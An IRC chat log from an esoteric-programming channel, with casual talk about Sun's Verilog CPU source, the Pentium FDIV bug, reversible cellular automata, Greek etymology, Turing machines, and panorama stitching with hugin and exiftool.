21:19:45 <ehird> bsmntbombdood: i found an i7 975 XE for sale
21:20:04 <Sgeo> When I feel like just surfing the web quickly, I boot into Linux
21:21:11 <ehird> ais523: the actual cpu.v is just 736KB
21:21:23 <ehird> but there's tons more files & directories
21:21:34 <ehird> ais523: and that's still 15,638 lines
21:21:57 <ehird> a lot of it is "wire [blah] foo;" lines
21:22:07 <ehird> .zcp_dmc_ack0 (zcp_dmc_ack0), // <=
21:22:07 <ehird> .zcp_dmc_ack1 (zcp_dmc_ack1), // <=
21:22:09 <ehird> .zcp_dmc_dat0 (zcp_dmc_dat0[ 129 : 0 ]), // <=
21:22:11 <ehird> stuff like that too
21:22:13 <ehird> then it starts using => instead of <=
21:22:31 <ehird> ais523: would I be right in guessing this is probably autogenerated?
21:22:54 <ehird> it seems to be mostly a bunch of initializations or something
21:22:56 <ais523> although even Sun's human-written stuff looks autogenerated
21:22:56 <ehird> instead of actual logic
21:23:19 <ais523> mostly it will be connections
21:23:29 <ais523> rather than the things that are connected
21:23:37 <ehird> I wonder where the actual logic is
21:24:02 <ehird> ais523: holy damn, the expanded folder is 1.52GB
21:24:28 <ehird> assign received_instr[ 21 : 0 ] = efu_hdr_xfer_en_r1 ? efu_instr[ 21 : 0 ]
21:24:28 <ehird> : rdcount == 5'd23 ? sync_read
21:24:29 <ehird> : dispatch_read_data ? ({instr[ 20 : 0 ],1'b0}) : 22'b0;
21:24:31 <ehird> ais523: is that logic?
21:24:33 <ehird> it looks like logic.
21:24:51 <ehird> there are a bunch of empty lines and long lines here
21:24:53 <ehird> smells of preprocessing
21:25:26 <ehird> ais523: they don't have any actual explanatory comments :-)
21:25:41 <ais523> hey, I bet Sun stripped comments
21:25:47 <ais523> that would explain the empty lines
21:25:52 <ehird> ais523: that'd be fucking stupid, though
21:26:02 <ais523> unless they want people to pay for a full version
21:26:02 <ehird> and it doesn't account for the simply unintelligable, ultra-long lines
21:26:24 <ehird> huh, the i7's max temperature is rated at 67.9C
21:26:32 <ehird> that's a rather low resistance to temperature...
21:27:50 <ehird> ais523: they actually have verilog verification stuff!
21:28:14 <ehird> i wonder what big file's in there...
21:28:21 -!- BeholdMyGlory has quit (Read error: 104 (Connection reset by peer)).
21:28:21 <ais523> ehird: makes sense, it's hard to use without
21:28:26 <ais523> and probably a huge set of inputs and expected outputs
21:28:34 <ais523> for a processor, that'll be /massive/
21:28:38 <ehird> ais523: wait, why? wouldn't you just produce an actual chip?
21:28:41 <ehird> i mean, i get it for testing
21:28:44 <ehird> but why is it hard to use without
21:28:47 <psygnisfive> so i think i have a general layout for my language dev environment
21:28:48 <ais523> because chips are expensive
21:28:55 <ais523> and you need to test the hardware too
21:29:02 <ehird> ais523: synthesize on an FPGA?
21:29:07 <ehird> i guess it's far too big
21:29:13 <ehird> ais523: still, that's not use
21:29:16 <psygnisfive> or at the very least, the basic layout of the grammar system
21:29:40 <ehird> ais523: i think the big bit is the OS image that i think is in there
21:30:01 -!- jix has joined.
21:30:17 <ehird> % du -h verif|grep 'G'
21:30:17 <ehird> 1.2Gverif/diag/assembly
21:30:27 <ehird> so something in the assembly folder
21:30:54 -!- BeholdMyGlory has joined.
21:31:04 <ehird> ais523: seems to be just an awful lot of assembly code.
21:31:18 <ais523> maybe it's the binaries to the OS, rather than source
21:31:30 <ais523> or an exhaustive testcase of all the asm they have
21:31:34 <ehird> ais523: they end with .s, but I stopped digging through the tree by then
21:31:37 <ais523> that would be a good way to test a processor
21:31:57 <ehird> ais523: why aren't processors made with provably-correct languages?
21:32:02 <ehird> that would be awesome.
21:33:06 <ehird> "open source users are pussies who are afraid of a little hard labor. waaah, I want the source code. waaah, I don't want to be in danger of DMCA threats"
21:34:43 <Slereah> Using open source softwares is hard enough, ehird
21:41:36 <ehird> http://ordiluc.net/fs/libetc/
21:51:28 <fizzie> There was a course that talked a bit of formal verification stuff (mostly model-checking), and there was a visiting lecturer from Intel; I seem to remember something about the formal proof-of-correctness ("with a mixture of STE and theorem proving" according to some slides) for the Pentium 4 FPU being the "largest" formal-verification thing up to that point.
21:52:16 <fizzie> To quote those slides: "we don't want another FDIV".
21:52:56 <fizzie> "Intel wrote of $475M to cover the FDIV bug, and suffered considerable damage to itse reputation. A similar error today could be much more expensive." That's not cheap.
21:53:38 <ehird> fizzie: They wrote of an amount of money? Why? I guess they care about itse reputation.
21:54:20 <fizzie> "On December 20, 1994 Intel offered to replace all flawed Pentium processors on the basis of request, in response to mounting public pressure.[8] This had a huge potential cost to the company, although it turned out that only a small fraction of Pentium owners bothered to get their chips replaced[citation needed]."
21:54:41 <fizzie> Don't know where the $475M figure comes from; it could be some sort of theoretical lost-money calculation.
21:54:58 <ehird> fizzie: Recalled processors? And I was jokin' 'bout the typos.
21:55:07 <ehird> [[At its worst, this error can occur as high as the fourth significant digit of a decimal number, but the possibilities of this happening are 1 in 360 billion. It is most common that the error appears in the 9th or 10th decimal digit, which yields a chance of this happening of 1 in 9 billion.]]
21:58:07 <fizzie> http://download.intel.com/technology/itj/q12001/pdf/art_3.pdf "The Pentium 4 processor was the first project of its kind at Intel to apply FV on a large scale." I guess they might've said just that. So they did formal verification on the FPU and instruction decoding units.
22:01:57 <fizzie> It also speaks of their chip simulation thing; "several thousand systems -- averaging 5-6 billion cycles per week" => about 9 kHz execution speed.
22:05:45 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
22:08:28 -!- whtspc_ has joined.
22:09:01 <ehird> http://www.haskell.org/pipermail/cvs-libraries/2009-June/010890.html
22:09:58 <ehird> Gracenotes: No more utf8-strings need!
22:10:45 <Gracenotes> I'm going out with mah family tonight :D going to a Chinese place with sushi
22:18:24 -!- Azstal has joined.
22:27:06 -!- Asztal_ has quit (Read error: 104 (Connection reset by peer)).
22:28:57 -!- whtspc has quit (Read error: 110 (Connection timed out)).
22:33:19 -!- bsmntbombdood_ has joined.
22:41:09 -!- bsmntbombdood_ has quit (Read error: 60 (Operation timed out)).
22:41:29 -!- whtspc_ has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
22:45:03 -!- MizardX- has joined.
22:48:06 -!- BeholdMyGlory has left (?).
22:49:48 -!- MizardX has quit (Read error: 145 (Connection timed out)).
22:49:58 -!- MizardX- has changed nick to MizardX.
22:51:12 -!- BeholdMyGlory has joined.
22:51:31 -!- BeholdMyGlory has quit (Remote closed the connection).
22:51:48 -!- BeholdMyGlory has joined.
22:58:45 -!- nooga has joined.
23:02:32 <nooga> any ground breaking news?
23:03:06 <nooga> or stupid but amusing ideas?
23:03:20 <ehird> VHDL to WireWorld.
23:03:33 <ehird> http://en.wikipedia.org/wiki/VHDL; http://en.wikipedia.org/wiki/Wireworld
23:04:05 <ehird> reduced, tarpitty vhdl ofc
23:04:05 <nooga> i coded several optimal ww
23:05:22 <nooga> also i tried to generate gates in ww using genetic algorithms
23:06:09 <nooga> but it would be amusing
23:06:23 -!- bsmntbombdood has joined.
23:27:35 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:30:34 -!- coppro has joined.
23:33:14 -!- ais523 has quit (Read error: 110 (Connection timed out)).
23:43:26 -!- BeholdMyGlory has quit (Remote closed the connection).
23:57:23 -!- M0ny has quit.
00:01:34 -!- inurinternet has quit (No route to host).
00:14:13 -!- jix has quit (Read error: 113 (No route to host)).
00:29:34 -!- inurinternet has joined.
00:34:51 -!- nooga has quit (Remote closed the connection).
00:42:42 -!- Sgeo_ has joined.
00:52:30 <Asztal> did someone mention converting brainfuck into music recently?
00:53:13 <ehird> Asztal: brainfuck to fugue
00:53:14 <Asztal> I just found a brainfuck.mp3 buried away in my home directory :o
00:53:19 <ehird> and therefore that
00:58:20 -!- FireFly has quit ("Later").
01:00:11 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
01:17:40 <Asztal> http://tunes.org/~nef//logs/esoteric/07.05.19 <- apparently what I found was not actually generated from brainfuck :(
01:23:34 -!- Azstal has quit (".").
01:24:50 -!- psygnisfive has changed nick to augur_.
01:28:30 -!- augur_ has changed nick to augur.
01:37:10 -!- Sgeo has joined.
01:54:14 -!- Sgeo_ has quit (Read error: 110 (Connection timed out)).
01:57:15 -!- zzo38 has joined.
01:57:53 <zzo38> There is one thing you have forgotten in compile to BF
02:00:04 <zzo38> You forgot BrainClub
02:00:14 <zzo38> BrainClub compiles into brainfuck
02:03:38 <zzo38> asiekierka joins MegaZeux channel as well
02:05:22 -!- zzo38 has quit (Read error: 104 (Connection reset by peer)).
02:09:37 -!- amca has joined.
02:48:11 -!- MizardX- has joined.
02:48:17 -!- MizardX has quit (Read error: 54 (Connection reset by peer)).
02:48:44 -!- MizardX- has changed nick to MizardX.
02:59:10 -!- iEhird has joined.
02:59:37 -!- iEhird has quit (Remote closed the connection).
03:17:44 -!- Sgeo has quit (Read error: 104 (Connection reset by peer)).
03:17:46 -!- Sgeo_ has joined.
03:18:59 -!- oerjan has joined.
03:26:04 <oerjan> maybe i know. what was the question anyhow? ;D
03:27:11 <oerjan> <pikhq> Man. We are growing organs *right now*.
03:27:22 <oerjan> this is the future. get used to it.
03:28:40 -!- puzzlet_ has joined.
03:30:48 -!- puzzlet has quit (Read error: 104 (Connection reset by peer)).
03:30:51 <oerjan> <ehird> ais523: I'm not sure it's a cellular automata, as things need to travel on paths, and cells can only affect cells that hit them (and often transform themselves in the process, or release new sparks)
03:31:38 <oerjan> if the state of a cell depends only on the previous state of a bounded neighborhood, then it's a cellular automaton. assuming it's all in a grid.
03:32:40 <oerjan> doesn't matter how complicated it is. you may still be out of look implementing it on a standard CA program though...
03:36:21 <oerjan> <ehird> is there a reversible, turing complete CA? <-- almost certainly
03:36:49 <oerjan> any reversible turing machine is a reversible CA, essentially
03:37:38 <oerjan> for the same reason stated 4 lines above
03:48:19 <Saites> I think BBM is a reversible Turing-complete CA.
03:48:30 <Saites> If you start with an infinite pattern.
03:49:09 <Saites> If you don't want to start with an infinite pattern, extend BBM so that you get a machine that grows.
03:50:12 <Saites> Specifically, a Margolus CA that I think was described in "Cellular Automata Machines".
03:50:19 <Saites> It's available with MCell.
03:50:55 <oerjan> oh, and with a reversible CA you _cannot_ get a machine that grows, unless it grows towards the past as well
03:51:13 <oerjan> that might not be such a problem actually
03:51:41 <Saites> Can the CA be partial?
03:52:22 <Saites> Start with a partial CA that works. Find the holes in it and connect them randomly.
03:52:47 <oerjan> although "billiard ball machine"?
03:52:57 <oerjan> Saites: that might work
03:53:15 <oerjan> there is a slight problem that reversibility of CA's isn't entirely local
03:53:16 <Saites> The CA is a decent approximation to the actual billiard ball model.
03:53:21 <Saites> And that is what it stands for.
03:53:39 <Saites> The thing is, when balls collide, they also slow down.
03:53:59 -!- GreaseMonkey has joined.
03:54:01 <oerjan> we were recently discussing the Billiard Ball Machine on the wiki
03:54:16 <oerjan> (which is sort of an esolang)
03:54:41 <oerjan> hm there was no slowdown in that
03:56:27 <Saites> In the CA, they slow down. In the actual billiard ball model, they don't.
03:58:05 * oerjan thinks a link from the wiki is appropriate
04:00:56 -!- MizardX- has joined.
04:01:08 -!- MizardX has quit (Read error: 104 (Connection reset by peer)).
04:01:16 <oerjan> the link http://cell-auto.com/bbm/2d/index.html says it's universal too
04:01:26 -!- Sgeo has joined.
04:01:29 -!- MizardX- has changed nick to MizardX.
04:03:27 * oerjan finally remembers that Saites isn't a new guy :D
04:04:35 -!- Saites has changed nick to Petalon.
04:04:42 <Petalon> Muahaha! Now you have to remember all over again!
04:04:50 * oerjan swats Petalon mercilessly -----###
04:05:20 <Petalon> By the way, using this random Ancient Greek word generator, it took three tries to get something that isn't also an English word.
04:06:44 <Petalon> Neologism is a Greek word?
04:06:53 <Petalon> Neo and logos are Greek words, perhaps.
04:06:54 <oerjan> at least the parts are
04:07:09 <oerjan> probably needs a case suffix
04:08:01 <Petalon> Someone from Sais, or something.
04:09:08 <Petalon> Monas, Kolobathristes, Gramma, Teleo, Sumposion!
04:09:16 <Petalon> I think "sumposion" would make a fine English word.
04:09:49 <Petalon> Oh, I think it already is an English word. It's just "symposium".
04:10:13 <oerjan> hm wait is neo- correct greek, actually? it's ne_a_polis, after all
04:10:43 <Petalon> Monas, Kolobathristes, Gramma, Teleo, Paramenei!
04:10:55 <oerjan> teleo- is a fine english prefix
04:11:29 <oerjan> and gramma isn't particularly unknown either
04:11:43 <oerjan> is monas ~= monad, perhaps
04:12:03 <oerjan> now kolobathristes, i grant you.
04:14:07 <Petalon> Monas ~= monad indeed, though I don't know what ~= means.
04:14:19 <Petalon> You generally see it in English as mono-.
04:15:16 <oerjan> um i would assume monas is mono- + some suffix
04:15:45 <Petalon> A really tiny suffix, maybe.
04:17:33 <oerjan> like -r is a tiny suffix in "writer"?
04:17:54 <augur> keep in mind that in greek, there are certain phonological process that apply to s, t, and d in word final position
04:18:25 -!- Sgeo_ has quit (Read error: 110 (Connection timed out)).
04:18:31 <oerjan> augur: which is how i guessed it was monad in the first place
04:18:59 <oerjan> <Petalon> Monas, Kolobathristes, Gramma, Teleo, Paramenei!
04:19:40 * oerjan wishes crows could be exterminated
04:19:43 <augur> petalon: sumposion is written how, in original greek?
04:20:43 -!- pikhq has quit (Read error: 60 (Operation timed out)).
04:22:05 -!- pikhq has joined.
04:22:10 <oerjan> augur: Atlas is a particularly nice example, i think
04:22:23 <oerjan> the s is actually a reduced -nt, it seems
04:22:48 <augur> but that only is true of some final s's
04:22:55 <augur> some words have underlying /s/
04:23:17 <augur> i did this for a phonology test once, actually
04:23:30 <augur> well, we did greek for homework, and then a similar latin problem for the test
04:24:00 <oerjan> latin -s can be much the same, i recall
04:24:26 <augur> it was an almost identical process
04:25:47 <oerjan> although sometimes the change seems to go the other way, with s -> r between vowels
04:26:40 <augur> thats a case of dissimilation, i think
04:26:53 <augur> i dont think its related to the whole d/t/s/nt thing
04:27:15 <augur> intervocalic dissimilation, yeah
04:35:49 -!- Sgeo_ has joined.
04:41:04 -!- oerjan has quit ("Reloxing").
04:50:41 <Petalon> Sumposion in the original Greek?
04:53:22 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
05:00:48 <augur> so symposium isnt too far off
05:01:07 <augur> the upsilon there should be transliterated as a y not a u
05:01:29 <augur> and since the word was loaned into latin before being brought into english, we get um instead of on
05:07:56 <GregorR> You know what sucks worse than a cluttered mess of a movie? Seeing it with friends who actually /enjoyed/ the crappy thing.
05:11:37 <augur> aww, it was cluttered? :(
05:12:11 <Petalon> Note that I am not GregorR.
05:12:51 <Petalon> I do not have the right to speak on his behalf, only to pretend to do so.
05:13:20 -!- MizardX- has joined.
05:13:37 <GregorR> Just a sec, talking on phone.
05:13:44 <augur> ill just watch it, dont worry
05:14:06 -!- MizardX has quit (Read error: 104 (Connection reset by peer)).
05:14:16 -!- MizardX- has changed nick to MizardX.
05:14:34 <GregorR> It was a cluttered mess. Particularly in terms of graphical effects.
05:14:42 -!- evenant has joined.
05:15:02 <GregorR> They'd use some effect for one scene, that's utterly unlike any other effect they'd used, and then *boom* right back into straight live action. And I'm thinking, "What the hell was I supposed to get from that effect? Other than 'confused'?"
05:16:01 <GregorR> And the main "hook" to the movie, what was supposed to make the villain interesting, was barely delved into at all, it was basically mentioned as a passing remark in two or three places. Oh, so that's why he's here. Well, back to the formula for hostage flicks then!
05:16:28 <GregorR> Other than that it was just utterly by-the-book. Down to at least four instances of "THREE - TWO - ONE" *saved by the bell*
05:17:04 <augur> mma watch it right now
05:22:34 -!- evenant has quit (Read error: 60 (Operation timed out)).
05:26:41 <augur> i cant find pelham 123 on the sites
05:27:35 <GregorR> It's too garbage to be ripped :P
05:31:51 -!- nescience has quit (Read error: 113 (No route to host)).
05:43:13 -!- puzzlet_ has quit (Read error: 104 (Connection reset by peer)).
06:18:51 -!- Sgeo_ has quit ("Leaving").
06:40:55 -!- GuestShadowSkunk has joined.
06:54:43 -!- Slereah has quit (Read error: 110 (Connection timed out)).
07:38:24 <augur> the female term is "duck"
07:38:46 <augur> or "hen", depending on species.
07:39:00 <augur> well, not depending on species sorry
07:39:03 <augur> but depending on person
07:44:55 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!").
07:45:33 <GregorR> Masterpiecemachine has OpenID support now.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:01:08 -!- kar8nga has joined.
08:11:21 <Petalon> augur: may I suggest "dogs"?
08:11:50 <Petalon> Well, you said "cocks" and "drakes".
08:12:00 <Petalon> Perhaps you might want to consider saying "dogs" as well.
08:12:12 <augur> that was years ago
08:24:34 -!- puzzlet has joined.
08:51:03 -!- MizardX has quit (Read error: 104 (Connection reset by peer)).
08:51:14 -!- MizardX has joined.
09:05:38 -!- kar8nga has quit (Remote closed the connection).
09:09:16 -!- sebbu2 has joined.
09:17:06 -!- nooga has joined.
09:24:55 -!- sebbu has quit (Read error: 110 (Connection timed out)).
09:37:49 <augur> http://www.youtube.com/watch?v=cCdbZqI1r7I
09:38:03 <augur> jeff hawkins doesnt understand why a universal turing machine is universal
10:06:41 <augur> tho maybe he was simplifying
10:06:53 <augur> we're from the same town in new york :D
10:18:41 -!- kar8nga has joined.
10:18:49 -!- MigoMipo has joined.
10:20:58 -!- MizardX has quit (Read error: 110 (Connection timed out)).
10:33:38 <augur> i want to build an HTM :O
10:33:51 <augur> we should build a language for an HTM system
10:34:59 -!- BeholdMyGlory has joined.
10:37:06 <amca> HTM? Whats that?
11:01:05 -!- AnMaster has joined.
11:01:59 <augur> hierarchical temporal memory
11:02:06 <augur> he REALLY doesnt know what universal means in turings sense
11:02:13 <augur> he says brains arent universal in turings sense
11:02:16 <augur> which is obviously false
11:07:48 <amca> Im pretty sure brains dont develop infinite tapes
11:13:13 <AnMaster> ehird, as I said, you will see the pictures! ;P
11:13:31 <AnMaster> I spent the last 21 hours on a train.
11:14:19 <AnMaster> sleeping wagon, but there were lots of issues, so the trip lasted about two hours longer than planned.
11:16:52 <AnMaster> First a broken switch just outside Kiruna, where the train had to wait for it to be repaired before it could continue. Then there were issues with the locomotive, they had to replace it somewhere north of Umeå... Then some other train that was in front of us and had issues.. and so on.
11:17:19 -!- augur has quit (Read error: 54 (Connection reset by peer)).
11:17:54 -!- psygnisfive has joined.
11:19:14 -!- kar8nga has quit (Read error: 60 (Operation timed out)).
11:20:29 <AnMaster> fizzie, what was that program you used for panoramas?
11:22:37 <fizzie> AnMaster: hugin, which is mostly just an interface for different tools.
11:23:09 -!- MizardX has joined.
11:23:34 <fizzie> It uses autopano-sift-c for automatic control points, nona for the combining, enblend/enfuse for blending and so on. I guess the camera-position-optimizer is in hugin itself, though.
11:24:14 <psygnisfive> amca, its true that brains dont have infinite tapes
11:24:30 <psygnisfive> but thats effectively irrelevant to the issue
11:25:02 <fizzie> (Also the UI is pretty idiosyncratic.)
11:25:04 <psygnisfive> a human WITH an infinite tape is a utm, and the only difference is memory size, nothing else
11:25:24 <psygnisfive> but then, your computer isnt a utm either for the same reason
11:26:37 <AnMaster> fizzie, any pitfalls in particular?
11:26:45 <amca> I wonder what the latency and seek time on a universal turing machine tape is.
11:26:47 <AnMaster> fizzie, also, all pics I have are in raw format...
11:27:23 <AnMaster> fizzie, or 16-bit (per channel) tiff using adobe rgb
11:27:38 <AnMaster> I guess I need to convert first
11:27:42 <amca> psygnisfive: I dont know what it is
11:28:39 <AnMaster> fizzie, there are packages for both autopano-sift and autopano-sift-c... what's the difference?
11:28:56 <fizzie> The -c version is the C port.
11:28:59 <amca> The latency and seek time on an infinite turing machine tape
11:29:05 <fizzie> From the .Net (probably C#) original.
11:29:15 <fizzie> I think at least my version of hugin used autopano-sift-c by default.
11:29:34 <fizzie> There's some sort of patent issue on the SIFT algorithm, if you want to be wary of that sort of thing.
11:29:54 <AnMaster> fizzie, not in Europe I guess?
11:30:07 <lifthrasiir> psygnisfive: i wonder if there is a complexity class which computer solves efficiently but human brain doesn't.
11:30:34 <fizzie> Anyway, the automagical control-point setting is not that important; I've been doing it manually just for the fun of it. Hugin auto-optimizes the points anyway, so you mostly have to set one point, then just randomly click on regions that are in both pictures of a pair and it'll figure it out. Assuming there's some sort of clear border/pattern there.
11:31:06 <AnMaster> fizzie, mostly forest and mountains (with snow on the tops.
11:31:23 <AnMaster> anyway, this will take a while... got some other stuff to do first
11:31:30 <lifthrasiir> psygnisfive: if computational capacity of human brain is poorer than computer's (thus turing machine), there should be such problem... but i don't know any instance.
11:32:04 <psygnisfive> the computational class of both, ignoring memory size and looking just at the sort of operations on memory that can be performed, are identical.
11:32:15 <AnMaster> fizzie, it does handle tiff or other non-lossy formats right?
11:32:36 <lifthrasiir> psygnisfive: i think so, and i'm (mostly) answering to amca ;)
11:33:35 <fizzie> AnMaster: I would presume so, yes. The output is generated as a TIFF, anyway. Though it's easier if you have still EXIF info in the source images, since it can figure out sensible lens parameters automatically.
11:33:57 <psygnisfive> a tape machine does not perform memory access like a von neumann machine does
11:34:25 <AnMaster> fizzie, my camera stores the exif separately. Like: 00004.mrw 00004.(something I forgot, which contains the exif)
11:34:29 <psygnisfive> you can simulate that, ofcourse, with the right state machine, but ultimately, thats a simulation, not a genuine aspect of the tape machine
11:35:04 <psygnisfive> further more, if we BUILT a tape machine with real tape and so forth, the speed of the machine is directly related to the speed of the state machine's components
11:35:11 <psygnisfive> and also to the motor that moves the tape around.
11:35:19 <amca> If a turing machine doesnt have latency or seek times, then time would be irrelevant to it, but time is a necessary component of state systems. There needs to be a time before and a time after state changes, or the concept of state doesnt make sense.
11:35:39 <psygnisfive> but seek and latency are concepts of memory access
11:35:46 <psygnisfive> tape machines do not perform memory access
11:36:12 <psygnisfive> all they do is move left or right one space and do something to the tape cell.
11:36:16 <fizzie> AnMaster: I'm not sure if the gui supports "use this image but exif from this", but it should be able to read EXIF data from TIFF images too, so if you convert your raw format to that, you could then use some of the command-line exif tools to stick the information there.
11:36:30 <psygnisfive> there is no memory access on a tape machine
11:36:47 <psygnisfive> if its finitely thing, it has infinite mass
11:36:49 <amca> The tape (and symbols on it) is the memory, and the tape moving left and right (as well as symbol reads/writes) are the access
11:36:56 <psygnisfive> and therefore the tape itself couldnt move so the device would have to
11:37:08 <psygnisfive> but if it were infinite in mass, the universe would collapse into a black hole
11:37:14 <lifthrasiir> amca: if you call that the "access", you're right. but it doesn't make any difference really.
11:37:40 <psygnisfive> now if you say this is absurdly unrealistic and irrelevant to the question
11:37:46 <psygnisfive> lets pretend we COULD do this magic with the tape
11:37:58 <psygnisfive> lets also pretend we can do magic where the tape or the state machine moves infinitely fast
11:38:18 <psygnisfive> tape machines do not perform seek operations
11:38:28 <psygnisfive> they do not call out to l2 cache, ram, or to the harddrive
11:38:46 <psygnisfive> they just work directly with the infinite memory tape
11:38:53 <amca> In that case, wouldnt every symbol/part on the tape be in a supposition of states?
11:39:01 <psygnisfive> there is no memory access, just move-affect-move-affect
11:39:04 <lifthrasiir> amca: time is not relevalent, only thing relevalent is whether it's computable or not.
11:39:24 * amca would call moving left or right on the tape seeking.
11:39:44 <psygnisfive> it doesnt keep moving until it finds what its looking for
11:39:51 <psygnisfive> unless you write a program that simulates that behavior
11:40:14 <psygnisfive> EVERY step is a single move in one direction or another (or no move at all if your version of tape machines allows that)
11:41:05 <psygnisfive> a turing machine does not have latency or seek times because those concepts are not relevant here.
11:41:11 <amca> Isnt symbol change another step? Or do you mean step in a different sense?
11:41:51 <amca> Arent they both two steps each?
11:41:53 <psygnisfive> those are the actions taken o transitions.
11:42:05 <psygnisfive> well, it they're an infinite number of steps if you want it to be
11:42:26 <psygnisfive> "move write head down, hold for 10 seconds, life write head"
11:42:46 <psygnisfive> "engage write head motor, initiate power on, do this do that"
11:43:11 <psygnisfive> and suppose we define "seek time" as the time between read cycles on the machine
11:43:20 <psygnisfive> ok, now we're just dealing with an engineering question
11:43:30 <psygnisfive> what is the seek time on some particular device we've constructed
11:43:50 <psygnisfive> double the voltage and you could probably double the speed
11:44:26 <psygnisfive> its entirely dependent on a) a pointless definition of "seek time" on a machine that has no similar concept to seeking
11:44:42 <psygnisfive> and on b) the particulars of how you construct the physical device
11:44:52 <psygnisfive> its like asking whats the seek time on a hard drive
11:45:12 <psygnisfive> the refrigerator sized 40 meg harddrives of the 70s?
11:45:30 <psygnisfive> a solid state hard drive in a macbook air?
11:45:57 <psygnisfive> such a question about turing machines is meaningless
11:46:03 <psygnisfive> its like asking how many rpms my monitor gets
11:47:27 <lifthrasiir> amca: turing machine is an abstract concept, not governed by physical laws. so "time" is not relevant (though certain problems have well-defined time characteristics, for example, "within a polynomial factor of problem size") and whether it will be able to solve or not is relevant.
11:48:40 * amca doesnt understand how you can have "state" without "time"
11:50:16 <lifthrasiir> amca: time could be relevant for practical purpose, of course. but as long as it takes finite time, it is equivalent to turing machine (and vice versa).
11:51:12 <lifthrasiir> there are several examples of problems which cannot be solved by turing machine, and in turn computers at all.
11:54:21 -!- inurinternet has quit (Connection timed out).
11:56:27 <AnMaster> <fizzie> AnMaster: I'm not sure if the gui supports "use this image but exif from this", but it should be able to read EXIF data from TIFF images too, so if you convert your raw format to that, you could then use some of the command-line exif tools to stick the information there.
11:56:39 <AnMaster> but no idea how to copy the exif
11:56:56 <AnMaster> I usually use gimp + ufraw to convert my raw images
11:57:04 <AnMaster> never tried to do anything about the exif before
11:57:33 <fizzie> "exiftool -TagsFromFile file_with_exif.ext generated_tiff.tif" should probably copy it.
11:57:50 <AnMaster> fizzie, exiftool? what package
11:58:09 <AnMaster> oh wait... media-libs/exiftool
12:10:32 -!- jix has joined.
12:10:33 -!- KingOfKarlsruhe has joined.
12:11:44 -!- FireFly has joined.
12:29:29 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
12:29:48 -!- MigoMipo has joined.
12:30:53 -!- MigoMipo has quit (Client Quit).
12:31:11 -!- MigoMipo has joined.
12:31:43 -!- kar8nga has joined.
12:41:27 -!- MizardX- has joined.
12:46:53 -!- MizardX has quit (Read error: 60 (Operation timed out)).
12:47:23 -!- MizardX- has changed nick to MizardX.
12:56:12 -!- Corun has joined.
13:19:55 <AnMaster> fizzie, did you do that "lens calibration" thingy before?
13:20:00 -!- asiekierka has joined.
13:20:23 <fizzie> AnMaster: No, didn't bother.
13:20:27 <asiekierka> Heh, I implemented BF on a game creation system
13:20:35 <asiekierka> result: Why did I bother, it lags as hell of all hells
13:21:20 <AnMaster> asiekierka, Some years ago I did game of life in a rpg game engine for Mac OS Classic (so won't run on Intel Macs iirc)
13:21:25 <amca> asiekierka: Which game creation system?
13:24:11 <AnMaster> fizzie, it doesn't seem to be able to handle tiff...
13:25:50 <amca> Is that for making text/console based games?
13:25:55 <fizzie> AnMaster: Hm. Strange. It *should*. The panotools 16-bit workflow guide -- at http://wiki.panotools.org/16bit_workflow_with_hugin -- says "The TIFF images can be loaded into hugin as per usual except --" (and the exception is about the EXIF thing).
13:26:56 <fizzie> AnMaster: Possibly. I have 0.7.0 too, but on the other hand I haven't tried to use non-jpeg images either.
13:26:57 <asiekierka> Don't confuse with ZZT, MegaZeux is much more advanced
13:27:12 <asiekierka> If we compare them to operating systems, ZZT is DOS and MegaZeux is Linux
13:27:45 <amca> Did ZZT inspire it?
13:28:00 <asiekierka> ZZT was what started the text/console GCS's
13:28:08 <fizzie> I haven't bothered to get more than 3*2 gigabytes of storage space, and had trouble even with those three-megabyte .jpgs; the raw files are a bit too big for "let's take some 1300 snaps" vacation photograpy.
13:28:11 <asiekierka> AFAIK it was coded in Pascal but I might be wrong...
13:28:26 <asiekierka> MegaZeux was coded in C/ASM and the multiplatform port was ported to C++/SDL and later on to C/SDL
13:28:49 <asiekierka> the DS (no audio), the PSP, the Wii, the PS3, Mac, Linux, Windows...
13:29:43 <asiekierka> MegaZeux 2.70 and lower can run only on DOS, while the port (2.80 and higher) can run on nearly anything with C and SDL. No-one cares about DOS though.
13:29:46 <amca> asiekierka: U thought of porting it to BF and then running your MegaZeux BF on it?
13:30:07 <asiekierka> but I could port it to CrainF**k if I was way too bored
13:30:14 * amca still cares for poor, neglected DOS
13:30:25 <asiekierka> I even wanted to add a native BF interpreter to MegaZeux
13:30:29 <AnMaster> <fizzie> I haven't bothered to get more than 3*2 gigabytes of storage space, and had trouble even with those three-megabyte .jpgs; the raw files are a bit too big for "let's take some 1300 snaps" vacation photograpy.
13:30:53 <AnMaster> I bought a 4 GB memory card while up there in Kiruna
13:31:32 <asiekierka> I don't get how to make logic stuff (AND, OR, XOR) run in BF
13:33:05 <fizzie> Yes, well, in fact I only had 2*2 GB with me, and had to buy a horribly overpriced 2 GB card from Sorrento, since I couldn't be bothered to leave the tourist-infested areas in search of a reasonable electronics/computer-stuff shop.
13:33:51 <AnMaster> fizzie, ah... I went to one of the normal stores there. Since that town is not very tourist-y yet. That starts in 1-2 weeks
13:34:08 <AnMaster> I always prefer coming either before or after the most tourist intensive periods
13:36:15 <fizzie> We were a bit out-season too, but not enough. And Sorrento's really a tourist-only place. Oh well, the card was just three times the price it would've been in the local supermarket here at home. :p
13:37:08 <AnMaster> my camera decided to overlap some of the image filenames
13:37:22 <AnMaster> it is set to give them ever-increasing sequential numbers
13:37:28 <AnMaster> except here it overlapped 5 or so
13:37:41 <AnMaster> so would be a PITA to correct.
13:38:44 <fizzie> (Off to go buy some food-supplies.)
13:46:51 -!- KingOfKarlsruhe has quit (Remote closed the connection).
13:50:50 <asiekierka> I want to make an esolang which has both digital and analog components
13:54:07 -!- Corun has quit (Read error: 110 (Connection timed out)).
13:54:28 <ehird> <reddit> Analyst: Dell should buy Palm
13:54:35 <nooga> http://www.opera.com/freedom/ what now? :F
13:54:40 <ehird> hiamcahaven'tseenyouaroundETC
13:55:01 <ehird> nooga: yah opera employees on reddit have been shifty about that
13:55:15 <ehird> is probably bullshit
